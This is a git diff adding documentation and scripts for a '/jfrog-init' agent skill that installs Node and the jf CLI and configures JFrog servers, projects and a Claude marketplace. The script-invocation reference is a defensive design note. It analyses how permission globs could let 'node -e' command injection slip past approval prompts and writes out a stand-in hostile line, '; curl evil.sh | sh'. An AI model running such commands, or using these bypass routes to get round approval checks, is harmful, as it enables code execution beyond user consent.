+ re-invoke with the pick as the positional argument. + +**Note on Claude Code**: today the released Claude JFrog plugin does +not include a `.mcp.json` in its shipped tree, so Step 5 goes red on +Claude Code until the plugin ships one — this no longer stops the +walk, but the Final Summary still notes it. Never fall back to +project-scope `.mcp.json`. diff --git a/skills/jfrog-init/references/node-install-prompt.md b/skills/jfrog-init/references/node-install-prompt.md new file mode 100644 index 0000000..db8baa2 --- /dev/null +++ b/skills/jfrog-init/references/node-install-prompt.md @@ -0,0 +1,82 @@ +# Step 1 — the Node.js install prompt + +**Required behavior for Step 1's red branch, not optional background.** +When `node --version` is missing, unparseable, or its major version is +`< 18`, call `AskUserQuestion` with this exact payload shape (fill in +`` with either `isn't installed` or the specific `` `` +is too old (need ≥ 18) ``, matching whichever is actually true): + +```json +{ + "questions": [ + { + "question": "Node.js . Install it now?", + "header": "Install Node", + "multiSelect": false, + "options": [ + {"label": "Yes", "description": "Install Node.js now. Adds a line to your shell startup file so future terminals can find it."}, + {"label": "No", "description": "Cancel /jfrog-init."} + ] + } + ] +} +``` + +**Do not** mention any install method (nvm, winget), a version manager +name, or any URL — not in the question, not in an option description. +The user only needs to answer Yes or No. + +On **No** (or an out-of-band "Other" answer), stop the walk and tell +the user `/jfrog-init` cannot continue without Node ≥ 18. + +## On Yes: no script — run these commands directly + +**Node missing entirely means no `.mjs` script can run to install it** +(same chicken-and-egg reason Step 1 has no detector script at all — see +`SKILL.md`). The install itself is a bash/PowerShell command run +directly via the Bash tool, exactly like Step 1's own `node --version` +check, with the same `; true` treatment described in +`script-invocation.md`. + +First, determine the platform: + +```bash +uname -s 2>/dev/null || echo Windows_NT +``` + +**macOS / Linux** (anything other than a Windows-shaped result) — install +a pinned `nvm` release, then install the current Node LTS. The version +below is pinned rather than resolved from `api.github.com/.../latest` — +that endpoint is unauthenticated and rate-limited to 60 requests/hour per +IP, so it routinely 403s behind a corporate NAT; when it fails silently +(redirected to `/dev/null`), the tag resolves to an empty string, the +install-script URL collapses to `nvm-sh/nvm//install.sh`, and without +`-f` that 404 body would get piped straight into `bash`. Bump +`NVM_TAG` here when nvm ships a new release: + +```bash +NVM_TAG=v0.40.6 && \ +curl -fsSL "https://raw.githubusercontent.com/nvm-sh/nvm/${NVM_TAG}/install.sh" | bash && \ +export NVM_DIR="$HOME/.nvm" && [ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh" && \ +nvm install --lts && node --version && npx --version +``` + +**Windows** — install via `winget` (ships by default on Windows 10 +1709+ / Windows 11): + +```powershell +winget install -e --id OpenJS.NodeJS.LTS --accept-package-agreements --accept-source-agreements +``` + +`winget`'s PATH update isn't visible to the current shell. On success, +tell the user to open a new terminal and re-run `/jfrog-init` — do not +try to re-verify `node --version` in the same session on Windows. + +## Fallback + +Any failure on macOS/Linux (no `curl`, network error, the `nvm` +install script itself failing, or the final `node --version` still not +resolving) — or `winget` missing/failing on Windows — falls back to +today's plain message: tell the user to install Node.js ≥ 18 using +whichever method they prefer, then re-run `/jfrog-init`. Do not retry +automatically and do not try a second install method. diff --git a/skills/jfrog-init/references/project-matching.md b/skills/jfrog-init/references/project-matching.md new file mode 100644 index 0000000..6d2a184 --- /dev/null +++ b/skills/jfrog-init/references/project-matching.md @@ -0,0 +1,40 @@ +# Step 6 — project name-or-key resolution algorithm + +Background for Step 6 of `/jfrog-init` (`SKILL.md`). The model doesn't +perform this matching itself — `jfrog-detect-project.mjs` does — but +this explains how a typed name-or-key resolves to a canonical project +key, for debugging an unexpected ambiguous-match or no-match result. + +`jfrog-detect-project.mjs` resolves the input by: + +1. Enumerating accessible projects via `GET /access/api/v1/projects` + (GetProjectsList: + — `fetch` with the token from `jf config export`; the endpoint lives + on the Access service, off the Artifactory root, so `jf rt curl` + cannot reach it; `jf api` is a possible future refactor). Cached per + server for a few minutes (`scripts/lib/project-cache.mjs`) so + re-invoking the detector for each user attempt in the picker doesn't + re-hit the network every time — matching against the list is offline + regardless. +2. Matching the input against `project_key` and `display_name` + (`scripts/lib/projects.mjs`), strictest tier first — each tier only + runs if the previous one had zero matches: + - Exact key (case-insensitive) wins first. + - Exact display-name (case-insensitive) wins next. + - Exact match after stripping every non-alphanumeric character + (`_`, `-`, spaces, ...) from both sides wins next — so `aicatalog` + resolves against key `ai_catalog` / name `ai catalog` without the + separator mattering. This is a fixed internal canonicalization, + never a pattern compiled from user input. + - Unique case-insensitive substring across keys+names wins next. + - Unique substring after the same separator-stripping wins last — + catches partial input that spans a separator, e.g. `aicat` + against `ai_catalog`. + - If more than one project matches at whichever tier first has any + hits, the detector exits red with `candidates` listing the tied + keys, and the model asks the user to be more specific. +3. Once resolved to a canonical key, existence is confirmed via + `GET /access/api/v1/projects/`. + +The detector emits the canonical key on green in the JSON `resolvedKey` +field so the state-file writer can use it. diff --git a/skills/jfrog-init/references/project-picker.md b/skills/jfrog-init/references/project-picker.md new file mode 100644 index 0000000..9988505 --- /dev/null +++ b/skills/jfrog-init/references/project-picker.md @@ -0,0 +1,118 @@ +# Step 6 — picking a project interactively + +**This is not optional background reading — it's part of Step 6's +required behavior.** Read this in full before handling any Step 6 +result other than a clean green on the first try (no input needed, or +the typed input needs a picker). Use the exact `AskUserQuestion` +payload shapes below; do not paraphrase or invent your own wording. + +**Everything below — `unresolved`, `candidatesWithNames`, +`similarProjects`, and which bullet you land on — is reasoning for you +to follow silently, never to narrate.** The user never sees why a +particular branch was taken, only the resulting prompt (the +`AskUserQuestion` payload or the plain-text fallback line). + +**Check `unresolved` before anything below.** If the JSON has +`"unresolved": "server"`, this is NOT a project ask — the server-id +itself is ambiguous (multiple jf servers configured, none marked +`isDefault`). This can happen even when re-invoking Step 6 on its own +(e.g. a later "switch project" request), not just on a fresh full +walk. Do not fall through to the project picker below; instead **stop +and read `references/server-picker.md` in full** for the exact +`AskUserQuestion` payload, then re-invoke Step 6 with the picked +server-id as arg 1 (project input, if any, stays arg 2). + +Whenever the detector needs the user to choose — no input was passed, +the typed input didn't match anything (404), or it matched more than +one project (ambiguous) — it emits `candidatesWithNames` (the full +enumerated list, `{key, displayName}`, sorted by key) alongside the +red/ask result, as long as enumeration succeeded. Use it to drive an +`AskUserQuestion` picker instead of asking the user to type a key or +name from memory. A confirmed 404 additionally carries +`similarProjects` — up to 2 "did you mean...?" near-misses of the +typed input (see `scripts/lib/projects.mjs`) — which take priority +over the generic first-two when present: + +- **404 with `similarProjects` present** → the typed input was close + to one or two real projects (e.g. typed `widgets20`, JPD has + `widgets2`/`widgets`). Call `AskUserQuestion`, naming what was typed and + offering the suggestions plus "Other": + + ```json + { + "questions": [ + { + "question": "There's no project \"\" — did you mean one of these?", + "header": "Project", + "multiSelect": false, + "options": [ + {"label": "", "description": "Project key: "}, + {"label": "", "description": "Project key: "} + ] + } + ] + } + ``` + + If `similarProjects` has only 1 entry, use it as option 1 and fill + option 2 from the first entry of `candidatesWithNames` that isn't + already used (`AskUserQuestion` requires 2 options minimum). If no + such second entry exists (the JPD has exactly this one project), skip + `AskUserQuestion` entirely and use the plain-text fallback below + instead. On picking a suggestion → re-invoke the detector with that + project's **key** as arg 2. On **Other** → the user types a + different name-or-key; re-invoke with their typed value as arg 2. + +- **Otherwise, if `candidatesWithNames` has 2 or more entries** — no + input was passed, the input was ambiguous, or it was a 404 with no + close-enough `similarProjects` — call `AskUserQuestion` with the + **first two** entries of `candidatesWithNames` (in the order the + detector returned them — never reordered, never chosen by matching + the user's name, git identity, hostname, or any other signal) as the + two options, and rely on the tool's built-in "Other" for typing a + different project: + + ```json + { + "questions": [ + { + "question": "Which project do you want to use?", + "header": "Project", + "multiSelect": false, + "options": [ + {"label": "", "description": "Project key: "}, + {"label": "", "description": "Project key: "} + ] + } + ] + } + ``` + + On picking option 1 or 2 → re-invoke the detector with that + project's **key** as arg 2. On **Other** → the user types a + name-or-key; re-invoke the detector with their typed value as arg 2. + +- **If `candidatesWithNames` has fewer than 2 entries** (enumeration + unavailable, or the JPD genuinely has 0–1 projects) → fall back to a + single plain-text line, no `AskUserQuestion`: + + > *Which project do you want to use?* + + Nothing before, nothing after. Do NOT append any hint about the + accepted input format (no *"(name or key)"*, no *"you can type a key + or name"*, no *"either the display name or key works"*). + +- **Never surface the full candidate list or a count** to the user in + any case — the picker's two options (plus "Other") or the plain-text + fallback are the entire user-facing surface. + +Once the user picks or types a value, re-invoke the detector with it +as arg 2: + +```bash +node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-project.mjs" "" ""; rc=$?; true +``` + +**Do NOT** `export JF_PROJECT=…`. The only state write is the one +SKILL.md's Final summary mandates (`jfrog-state-file.mjs set`), or +`jfrog-detect-all.mjs`'s own write when running the batch walk. diff --git a/skills/jfrog-init/references/project-resolution-branches.md b/skills/jfrog-init/references/project-resolution-branches.md new file mode 100644 index 0000000..4e4d1d3 --- /dev/null +++ b/skills/jfrog-init/references/project-resolution-branches.md @@ -0,0 +1,56 @@ +# Step 6 — resolve/validate branches + +**Required behavior for Step 6, not optional background.** Read this in +full whenever `jfrog-detect-project.mjs` returns anything other than a +clean exit 0. + +- **Exit 2 (`ask`) with `"unresolved": "server"`** → not a project ask + — the server-id is ambiguous. Follow "Resolving `` for + Steps 4-7" in `SKILL.md` (prompt for a server from `candidates`), then + re-invoke Step 6 with the picked server-id as arg 1. +- **No input passed (`ask`, exit 2, no `unresolved`)** → use the + picker/free-form ask from `references/project-picker.md`, then + re-invoke with the picked value as arg 2. +- **Input passed (resolve + validate)** → + - **Exit 0 (green)** → project exists and is accessible; the + canonical key is in the JSON `resolvedKey` field. Proceed to + Step 7 (`jfrog-detect-catalog-runtime.mjs [server-id]`), which + takes no project argument — the input string only needs to be + kept around as arg 2 to `jfrog-detect-all.mjs` itself, so a + re-run re-resolves Step 6 the same way. + - **Exit 1 (red)** → ambiguous input, 404, or 403 — **cap re-asks at + one retry within a single walk.** The first time any of these + three happens, re-run the picker/free-form ask (`project-picker.md`); + if the user's second attempt *also* comes back ambiguous/404/403, + stop asking — proceed to Step 7 without a resolved project + (non-blocking, same pattern as Step 5), and note it in the Final + Summary instead of asking a third time. Never loop indefinitely on + a silently-automatic retry the user didn't explicitly choose to + continue (unlike Step 3's config picker, which loops on an + explicit "did you finish?" the user opts into each time). + - Ambiguous input → `candidates` lists the tied keys; re-run the + picker/free-form ask (using the full `candidatesWithNames`, not + just the tied subset). + - HTTP 404 → project does not exist on this JPD; re-run the + picker/free-form ask. + - HTTP 403 → project exists but the user isn't entitled to this + **specific** one — JFrog project ACLs are per-project, so this + says nothing about any other project. Show the raw error, then + re-run the picker/free-form ask (using `candidatesWithNames`, + same as the 404 case) so the user can pick a different project + instead of dead-ending; mention they can also ask their JFrog + admin for access to the one they tried. + - HTTP 5xx, or the probe could not connect at all → the JPD is + erroring or unreachable right now. Re-picking won't help, so show + the raw error and move on rather than re-running the picker; the + Final Summary reports it via `projectResolved: false`. (Grouped + with the retryable reds rather than with Exit 3 because it is a + transient backend/network condition, not a broken setup — the + same reason `jfrog-detect-catalog-runtime.mjs` calls its own + "can't connect" red.) + - **Exit 3 (error)** → `jf` missing, credentials unavailable/rejected + (including HTTP 401 — this says nothing about whether the project + exists), a 2xx response that wasn't shaped like the real GetProject + endpoint, or an unexpected HTTP code. Show the raw detector error — + this one is a genuine stop, not subject to the retry cap above (no + re-pick can fix bad credentials). diff --git a/skills/jfrog-init/references/project-state-reuse.md b/skills/jfrog-init/references/project-state-reuse.md new file mode 100644 index 0000000..6d18576 --- /dev/null +++ b/skills/jfrog-init/references/project-state-reuse.md @@ -0,0 +1,51 @@ +# Step 6 — state reuse across walks + +**Required behavior at the start of Step 6, not optional background.** +After a successful walk, `jfrog-detect-all.mjs` writes a hint to +`~/.jfrog/setup.json` containing the resolved JFrog server ID, JPD URL, +and canonical project key (as `currentActiveProject` — no timestamp is +stored; it's a pointer to what's active now, not a usage log). On +subsequent walks, before asking the user for a project, the model MUST: + +1. Read the state file for the current server ID via + `node "${CLAUDE_SKILL_DIR}/scripts/jfrog-state-file.mjs" get-current-project ` + — stdout is JSON `{"currentActiveProject": "...", "jpdUrl": "..."}` + (fields omitted if there's no record for this server-id). +2. If `currentActiveProject` is present AND its `jpdUrl` matches the + URL `jf config show --format=json` reports for this same server-id + today — after stripping any trailing `/artifactory` or `/ui` suffix + and trailing slash from that freshly-read URL, the same + normalization already applied to the stored `jpdUrl` — call + `AskUserQuestion` with this exact payload shape (substituting the + real key for ``). A raw, un-normalized comparison will treat + the server as "repointed" and skip the reuse prompt on every walk + for any JPD whose config URL carries one of those suffixes: + + ```json + { + "questions": [ + { + "question": "Reuse project from your last setup?", + "header": "Project", + "multiSelect": false, + "options": [ + {"label": "Yes", "description": "Use again."}, + {"label": "No", "description": "Pick a different project."} + ] + } + ] + } + ``` + +3. On **Yes** → re-invoke the detector with `` as + arg 2. On **No** → fall through to the picker/free-form ask (see + `project-picker.md`). +4. If the state file has no entry for this server (or the JPD URL + drifted), skip the reuse prompt entirely and go straight to the + picker/free-form ask. + +The state file only stores public identifiers — never a token, +password, session, or any other secret, and never a timestamp. Whenever +Steps 1-4 pass, the Final summary's `jfrog-state-file.mjs set` (or +`jfrog-detect-all.mjs` in the batch walk) updates it atomically (temp +file + rename). diff --git a/skills/jfrog-init/references/script-invocation.md b/skills/jfrog-init/references/script-invocation.md new file mode 100644 index 0000000..e1c6def --- /dev/null +++ b/skills/jfrog-init/references/script-invocation.md @@ -0,0 +1,208 @@ +# Invoking scripts: avoid the red "Error" framing + +Every `node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-*.mjs"` command shown anywhere +in `SKILL.md` signals red/ask states via a non-zero exit code, by +design. When run directly, the harness renders that as a red `Error: +Exit code N` block — an expected red/ask result looking identical to a +genuine tool failure. Since this skill's own reasoning depends on the +exit code (0/1/2/3 map to green/red/ask/error), don't discard it — +just stop it from also flipping the *shell's* final status, so the +harness doesn't flag it: + +```bash +node "${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-jf-cli.mjs"; rc=$?; true +``` + +**Capture `rc` — a bare `; true` is not enough for any detector.** Every +Step's branch table in `SKILL.md` is written in terms of the exit code +(`Exit 0 (green)`, `Exit 2 (ask)`, …), and `; true` on its own *discards* +that code: `true` becomes the last command, so `$?` is 0 no matter what +the detector reported, and every red/ask result silently reads as green. +`rc=$?` runs before the trailing `true`, so it records the detector's +real code while still leaving the shell's final status at 0. Read `$rc` +for the branch table and the JSON on stdout for the detail. + +The only commands that may use a bare `; true` are the ones nothing +branches on by exit code — Step 1's `node --version` / `npx --version` +(read the printed version instead) and +`jfrog-reinstall-jfrog-plugin.mjs` (always exits 0). + +This is a wording-level mitigation, not a full fix — the command and +its JSON preview may still be visible in the collapsed tool-call line +— but it removes the alarming error styling at no extra cost. + +Step 1 has no script, but the same trick applies to its bare commands +for the same reason — `node --version` and `npx --version` both exit +non-zero if the binary is missing: + +```bash +node --version; true +npx --version; true +``` + +## What's deliberately not pre-approved + +`allowed-tools` in `SKILL.md` covers `node --version`, the six read-only +detectors named individually — `node +"${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-catalog-runtime.mjs"`, +`jfrog-detect-jf-cli.mjs`, `jfrog-detect-jf-config.mjs`, +`jfrog-detect-jfrog-mcp.mjs`, `jfrog-detect-project.mjs`, and +`jfrog-detect-server-ping.mjs` — and `node +"${CLAUDE_SKILL_DIR}/scripts/jfrog-re*.mjs"` (the purely diagnostic +`jfrog-reinstall-jfrog-plugin.mjs` and the two `jfrog-resolve-*.mjs` +lookups), `node +"${CLAUDE_SKILL_DIR}/scripts/jfrog-state-file.mjs" get`/`get-current-project`/`path` +(the read-only modes only), `npx --version`, and `uname`. It does +**not** cover: + +- Step 1's `nvm` install (`curl … | bash`, see `node-install-prompt.md`) +- Step 1's Windows Node install (`winget install …`, see + `node-install-prompt.md`) +- Step 1's `jfrog-install-jf-cli.mjs` (downloads/executes a binary and + edits shell rc files — see `jf-cli-install-prompt.md`) +- Step 3's web-login scripts (`node …/jfrog-login-*.mjs`, see + `jf-config-auth-picker.md`) +- `jfrog-detect-all.mjs` (the "run everything at once" entry point — see + `batch-walk.md`). This is **not** a member of the `jfrog-detect-*.mjs` + grant despite the name: an earlier version of this grant used that exact + wildcard and pre-approved `jfrog-detect-all.mjs` along with it, silently + contradicting the "read-only detectors" framing above — `jfrog-detect-all.mjs` + itself writes `~/.jfrog/setup.json` on overall green (see the Final + summary in `SKILL.md`), the same mutation `jfrog-state-file.mjs set` + is excluded below for. PR review caught this; the fix was to enumerate + the six read-only detectors by exact filename instead of a wildcard, + which also closes a path-traversal-shaped concern with the wildcard + form (`jfrog-detect-*.mjs` has no anchor stopping `*` from matching + path separators, unlike an exact filename). +- `jfrog-substitute-mcp-placeholders.mjs` (the one script that edits the + plugin's `mcp.json` in place — see `mcp-plugin-config.md`). **Unlike + every other entry in this list, this exclusion is theoretical, not + operative**: `SKILL.md` never invokes this script as a standalone + `node "${CLAUDE_SKILL_DIR}/scripts/jfrog-substitute-mcp-placeholders.mjs"` + Bash command, so its absence from `allowed-tools` never actually + gates anything. Its only real call site is the in-process import in + `jfrog-detect-jfrog-mcp.mjs` (itself one of the six explicitly-named + detectors above) — the harness's permission system approves Bash + commands, not the function calls a pre-approved script makes once + running, so the mutation executes with no prompt whenever Step 5 finds + a placeholder. This is intentional, not an oversight: the write is + narrowly scoped to `mcpServers.jfrog.url`, atomic (temp file + rename), + and idempotent — see `mcp-plugin-config.md` for why that scope was + judged safe to run unattended, unlike the two mutations below. +- `jfrog-state-file.mjs`'s **`set`** mode (writes `~/.jfrog/setup.json` + with caller-supplied server-id/URL/project-key — see the Final summary + in `SKILL.md`) +- `jfrog-add-claude-marketplace.mjs` (Step 8 — rewrites `~/.netrc` and + calls `claude plugin marketplace add`, mutating Claude Code's own + marketplace config — see `marketplace-setup.md`). **Unlike the other + entries in this list, this one has no prior `AskUserQuestion` consent + step** — the harness's own approval prompt is the only gate before it + runs (the harness-detection check in front of it is a skip/routing + check, not a consent prompt). Treat that as a known gap worth + revisiting, not as already covered by the "Approval model" list at + the top of `SKILL.md`. + +Granting `Bash(curl:*)` / `Bash(bash:*)` / `Bash(winget:*)` for the +first four would pre-approve arbitrary shell execution, arbitrary +network transfer, or (via `winget install`'s own flags, e.g. +`--override`, which passes raw args straight to the underlying +installer) arbitrary extra installer arguments — a `Bash(...)` wrapper +around an interpreter, or a trailing wildcard on an installer command, +is not a scope. It would also buy nothing: `nvm`/Windows-Node-install +and web-login already sit behind their own `AskUserQuestion` consent +prompt, so the user has agreed before either runs. + +`jfrog-install-jf-cli.mjs`, `jfrog-substitute-mcp-placeholders.mjs`, +`jfrog-state-file.mjs set`, and `jfrog-add-claude-marketplace.mjs` are +excluded for a related but distinct reason: they're the four scripts in +this directory that mutate something outside their own process (a +downloaded binary made executable and run, the plugin's `mcp.json`, the +setup state file, and `~/.netrc` plus Claude Code's own marketplace +config, respectively) rather than just reading state and emitting JSON. +A prior version of this grant covered every `*.mjs` in `scripts/` +indiscriminately — PR review on this same branch pointed out that +pre-approves running any of these without the model (or a +prompt-injected instruction it's following) ever hitting the +`AskUserQuestion` gates their *documented* call sites sit behind; the +grant itself enforced nothing. Naming the read-only scripts individually +and leaving these four to fall through to the harness's own approval +closes that gap — **for `jfrog-install-jf-cli.mjs` and +`jfrog-state-file.mjs set`**, both of which `SKILL.md` only ever runs as +their own standalone Bash command, behind their own `AskUserQuestion` +(see `jf-cli-install-prompt.md` and the Final summary, respectively). +`jfrog-substitute-mcp-placeholders.mjs` is the exception: as noted +above, it has no standalone Bash call site in the documented flow, so +there is no gap for this grant to close for it — its mutation runs +unattended by design, not because this list forgot it. +`jfrog-add-claude-marketplace.mjs` is a different kind of gap: it *does* +have a standalone Bash call site (Step 8 invokes it directly), but +unlike `jfrog-install-jf-cli.mjs` / `jfrog-state-file.mjs set` there is +no `AskUserQuestion` sitting in front of it — the harness's Bash prompt +is the only consent point. That asymmetry is called out, not resolved, +here; see the bullet above. + +`node` is itself an interpreter, the same category being ruled out +above for `curl`/`bash`/`winget` — but unlike those, it isn't ungated by +a fixed string: every real invocation is either the literal `node +--version` (Step 1) or `node "${CLAUDE_SKILL_DIR}/scripts/.mjs"`. +`${CLAUDE_SKILL_DIR}` is a harness-substituted variable, not a +wildcard: Claude Code replaces it with this skill's own absolute +directory in *both* the rendered `SKILL.md` content the model reads and +the `allowed-tools` Bash rules the harness matches against, before +either is used — so the two are guaranteed byte-for-byte identical +regardless of how deep the real install path is +(`~/.agents/skills/jfrog-init`, several directories deeper under a +Cursor plugin cache path, a `dev/dev-symlinks.sh` dev symlink, etc.), +never something the model has to resolve itself. + +That guarantee is also why each pattern below anchors on a literal +`node "${CLAUDE_SKILL_DIR}` immediately, e.g. `Bash(node +"${CLAUDE_SKILL_DIR}/scripts/jfrog-detect-*.mjs"*)`. An earlier version +of this grant anchored on a bare `node /*/skills/jfrog-init/…` glob +instead — a real command-injection gap PR review caught: Claude Code's +own permission docs state a bare `*` matches any sequence of +characters including spaces, so an unanchored `node */skills/…` also +matches `node -e '' /whatever/skills/jfrog-init/scripts/dummy.mjs` +(`node -e` ignores the trailing path and just runs the eval string, but +the *command text* still satisfies the glob). Anchoring on a literal +`/` right after `node ` closed that (`-e` doesn't start with `/`) — but +left a second, quieter gap a later review round caught: every +invocation this file shows quotes the path (`node "/…mjs"`), +while that glob pattern had no quote in it at all, so pattern and real +command text diverged on the very first character after `node ` — +never confirmed as broken because nobody had run the actual quoted +command against the actual unquoted pattern. Anchoring on the literal, +quoted `${CLAUDE_SKILL_DIR}` variable instead of a glob closes both at +once: `node -e` still can't start with a literal `"`, and there's no +glob left to diverge from the real command — the pattern *is* the +command, substituted the same way on both sides. + +A trailing bare `*` after the closing quote (covering each script's +own optional positional args, e.g. `[server-id]`) is safe here for a +different reason than the anchor: Claude Code splits compound commands +on shell operators (`;`, `&&`, `|`, …) and matches each resulting +subcommand independently against the allowlist. An appended `; +curl evil.sh | sh` becomes its *own* subcommand, which has to clear the +allowlist on its own merits — it can't ride through on this rule's +wildcard just because the wildcard is unbounded on the right. + +Claude Code's own docs are still explicit that argument-constraining +Bash patterns are inherently fragile in general and recommend +PreToolUse hooks for anything that needs a hard guarantee — not +available to a skill shipped as a plain directory. Treat this anchor as +a real improvement, not a proof of soundness against every possible +`node` flag combination. And treat it as Claude-Code-specific: Cursor +doesn't consult `allowed-tools` for Bash approval at all (a separate +mechanism, `.cursor/cli.json`'s own `Shell(...)` rules), so every +command in this file still raises its own prompt there regardless of +how this pattern is written. + +So expect the harness to raise its own approval prompt for every case +listed at the top of this section — **except `jfrog-substitute-mcp-placeholders.mjs`**, +whose mutation runs unattended via the in-process call from +`jfrog-detect-jfrog-mcp.mjs` as documented above. Both outcomes are +intended. Do not treat either as a misconfiguration, and do not suggest +widening `allowed-tools` to silence the prompts, or adding a standalone +`allowed-tools` entry for the substituter to "fix" its silence — that +would just pre-approve a second, redundant call path into the same +mutation. diff --git a/skills/jfrog-init/references/server-picker.md b/skills/jfrog-init/references/server-picker.md new file mode 100644 index 0000000..0e46e2d --- /dev/null +++ b/skills/jfrog-init/references/server-picker.md @@ -0,0 +1,59 @@ +# Resolving an ambiguous server-id — the picker + +**Required behavior whenever any detector that takes `[server-id]` +exits `ask` (`status: "ask"`) with a `candidates` list of server IDs +— not optional background.** This is shared, unmodified, across every +step in "Resolving `` for Steps 4-7" in `SKILL.md`: Step 4 +(`jfrog-detect-server-ping.mjs`), Step 5's placeholder substitution +(`jfrog-detect-jfrog-mcp.mjs`), Step 6 (`jfrog-detect-project.mjs`, +distinguished by `"unresolved": "server"` — see +`references/project-picker.md`), and Step 7 +(`jfrog-detect-catalog-runtime.mjs`). All of them resolve a server-id +through the same shared code (`scripts/jfrog-resolve-jf-server.mjs`), +so `candidates` is always the same shape: a plain array of configured +server-id strings, e.g. `["prod", "staging"]`. + +This can only happen when **2 or more** servers are configured with +none marked `isDefault` — ambiguity by definition requires at least +two candidates, so unlike the project picker there is no "fewer than +2" plain-text fallback case here. + +**All of the above — `unresolved`, `candidates`, which step/detector +triggered this — is reasoning for you to follow silently, never to +narrate.** The user never sees why they're being asked, only the +`AskUserQuestion` payload itself. + +Call `AskUserQuestion` with the **first two** entries of `candidates` +(in the order the detector returned them — never reordered, never +chosen by matching a hostname, git identity, or any other signal) as +the two options, and rely on the tool's built-in "Other" for typing a +different server-id: + +```json +{ + "questions": [ + { + "question": "Which JFrog server do you want to use?", + "header": "Server", + "multiSelect": false, + "options": [ + {"label": "", "description": "Server ID: "}, + {"label": "", "description": "Server ID: "} + ] + } + ] +} +``` + +**Never surface the full candidate list or a count** to the user in +any case — the picker's two options (plus "Other") are the entire +user-facing surface, same rule as the project picker. + +On picking option 1 or 2, or typing a value via **Other** → re-invoke +**the same detector that emitted the ask** (never a different one) +with the picked/typed server-id as the positional argument that step +expects (see that step's own usage line in `SKILL.md`). Never invent a +server-id, never rely on `jf`'s own default-resolution fallback — the +whole point of asking is that this skill's own resolution order +(explicit arg → `JF_SERVER_ID` → `isDefault` → sole server) already +came up empty. diff --git a/skills/jfrog-init/scripts/jfrog-add-claude-marketplace.mjs b/skills/jfrog-init/scripts/jfrog-add-claude-marketplace.mjs new file mode 100755 index 0000000..2ef5c2a --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-add-claude-marketplace.mjs @@ -0,0 +1,97 @@ +#!/usr/bin/env node +// Registers the JFrog Claude agent-plugin marketplace for the server this walk +// resolved. See references/marketplace-setup.md. +// +// Usage: node jfrog-add-claude-marketplace.mjs [server-id] +// Exit 0 -> registered +// Exit 1 -> unusable jf config, or the marketplace call failed +// Exit 3 -> jf missing or not running, or claude missing from PATH + +import { claude, marketplaceAdd } from "./lib/claude.mjs"; +import { + describeJfUnavailable, + isMainModule, + JF_CLI_TIMEOUT_MS, + jfAvailable, + jfConfigExportResult, + jfConfigShow, + parseJpdUrl, + tokenUsername, +} from "./lib/jf.mjs"; +import { writeNetrc } from "./lib/netrc.mjs"; +import { resolveJfServer } from "./jfrog-resolve-jf-server.mjs"; + +const MARKETPLACE_PATH = "/ml/core/api/v1/ai-registry/agent-plugins/custom/marketplace/claude-marketplace.json"; +const MARKETPLACE_PREFIXES = ["", "/bridge-client"]; // SaaS first, then self-hosted + +// process.exit() can cut off a piped stdout write. +const fail = (msg, exitCode = 1) => { + throw Object.assign(new Error(msg), { exitCode }); +}; + +function readServerCreds(serverId) { + const { cfg, timedOut } = jfConfigExportResult(serverId); + if (timedOut) { + fail(`ERROR: jf did not respond within ${JF_CLI_TIMEOUT_MS / 1000}s (running: jf config export).`); + } + if (!cfg) { + fail(serverId + ? `ERROR: no jf server '${serverId}' configured.` + : "ERROR: no default jf server. Run 'jf login' or 'jf config use '."); + } + + const jpd = parseJpdUrl(cfg.url || cfg.artifactoryUrl || ""); + if (!jpd) fail("ERROR: could not parse the jf server URL."); + + const token = cfg.accessToken || ""; + const login = cfg.user || (token ? tokenUsername(serverId) : ""); + if (!token || !login) fail(`ERROR: missing access token or username for '${serverId}'. Run 'jf login'.`); + + return { jpd, login, token }; +} + +function marketplaceUrl({ jpd, login, token }, prefix) { + const userinfo = `${encodeURIComponent(login)}:${encodeURIComponent(token)}`; + const base = `${jpd.host}${jpd.pathname.replace(/\/+$/, "")}`; + return `${jpd.protocol}//${userinfo}@${base}${prefix}${MARKETPLACE_PATH}`; +} + +function redactToken(text, token) { + return text.split(encodeURIComponent(token)).join("***"); +} + +function register(argServerId) { + if (!jfAvailable()) fail(`ERROR: ${describeJfUnavailable()}`, 3); + if (!claude.found) fail("ERROR: claude not on PATH.", 3); + + const creds = readServerCreds(resolveJfServer(argServerId, jfConfigShow())); + // libcurl matches a netrc machine by bare hostname. + const wrote = writeNetrc(creds.jpd.hostname, creds.login, creds.token); + if (!wrote.ok) fail(`ERROR: ${wrote.error}`); + + const failures = []; + for (const prefix of MARKETPLACE_PREFIXES) { + const { ok, out } = marketplaceAdd(marketplaceUrl(creds, prefix)); + if (ok) { + process.stdout.write(redactToken(out, creds.token)); + return 0; + } + failures.push(out); + } + process.stderr.write(redactToken(failures.join(""), creds.token)); + return 1; +} + +function main(argServerId) { + try { + return register(argServerId); + } catch (err) { + if (err.exitCode === undefined) throw err; + process.stderr.write(`${err.message}\n`); + return err.exitCode; + } +} + +if (isMainModule(import.meta.url)) { + process.exitCode = main(process.argv[2] || ""); +} diff --git a/skills/jfrog-init/scripts/jfrog-detect-all.mjs b/skills/jfrog-init/scripts/jfrog-detect-all.mjs new file mode 100755 index 0000000..7efdbcd --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-detect-all.mjs @@ -0,0 +1,235 @@ +#!/usr/bin/env node +// Runs the detectors in dependency order and reports one JSON summary line. +// Idempotent, read-only, zero mutation (aside from the state-file hint on +// green) — safe to run repeatedly. +// +// Usage: node jfrog-detect-all.mjs [server-id] [project-input] +// +// `project-input` is a name-or-key string — jfrog-detect-project.mjs resolves it +// to a canonical key against the enumerated project list, then validates. +// +// Order (linear; stop at first non-green, non-"ask"): +// 1. Node.js >= 18 -> inline (running this .mjs file already +// proves Node exists; only the version and `npx` need checking) +// 2. jf CLI installed -> jfrog-detect-jf-cli.mjs +// 3. jf server configured -> jfrog-detect-jf-config.mjs +// 4. server reachable -> jfrog-detect-server-ping.mjs +// 5. jfrog MCP -> jfrog-detect-jfrog-mcp.mjs +// 6. project resolved -> jfrog-detect-project.mjs +// 7. AI Catalog + entitled -> jfrog-detect-catalog-runtime.mjs +// +// Step 6 does NOT read JF_PROJECT and does NOT export anything. The +// picked project input is passed as the 2nd positional argument and +// threaded forward. On green, this script writes a hint to +// ~/.jfrog/setup.json so subsequent walks can offer "reuse the current +// project" 